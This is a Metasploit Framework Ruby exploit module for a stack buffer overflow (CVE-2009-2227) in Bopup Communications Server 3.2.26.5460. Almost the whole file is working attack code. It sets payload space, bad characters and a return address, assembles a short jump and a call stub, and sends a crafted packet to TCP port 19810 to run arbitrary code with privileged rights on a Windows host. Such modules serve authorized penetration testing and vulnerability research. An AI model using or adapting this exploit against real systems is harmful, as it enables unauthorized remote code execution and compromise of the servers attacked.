##
# $Id: bopup_comm.rb 9262 2010-05-09 17:45:00Z jduck $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = GoodRanking
include Msf::Exploit::Remote::Tcp
def initialize(info = {})
super(update_info(info,
'Name' => 'Bopup Communications Server Buffer Overflow',
'Description' => %q{
This module exploits a stack buffer overflow in Bopup Communications Server 3.2.26.5460.
By sending a specially crafted packet, an attacker may be
able to execute arbitrary code.
},
'Author' => [ 'MC' ],
'License' => MSF_LICENSE,
'Version' => '$Revision: 9262 $',
'References' =>
[
[ 'CVE', '2009-2227' ],
[ 'OSVDB', '55275' ],
[ 'URL', 'http://www.blabsoft.com/products/server' ],
[ 'URL', 'http://milw0rm.com/exploits/9002' ],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
},
'Payload' =>
{
'Space' => 417,
'BadChars' => "\x00\x09\x0a\x0d\x20\x22\x25\x26\x27\x2b\x2f\x3a\x3c\x3e\x3f\x40",
'StackAdjustment' => -3500,
'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44",
},
'Platform' => 'win',
'Targets' =>
[
[ 'Bopup Communications Server 3.2.26.5460', { 'Ret' => 0x0041add2 } ],
],
'Privileged' => true,
'DefaultTarget' => 0,
'DisclosureDate' => 'Jun 18 2009'))
register_options(
[
Opt::RPORT(19810)
], self.class)
end
def exploit
connect
sploit = [0x00000001].pack('V')
sploit << rand_text_alpha_upper(829 - payload.encoded.length)
sploit << payload.encoded
sploit << Metasm::Shellcode.assemble(Metasm::Ia32.new, "call $-380").encode_string
sploit << rand_text_alpha_upper(27)
sploit << Rex::Arch::X86.jmp_short(222) + rand_text_english(2)
sploit << [target.ret].pack('V')
print_status("Trying target #{target.name}...")
sock.put(sploit)
handler
disconnect
end
end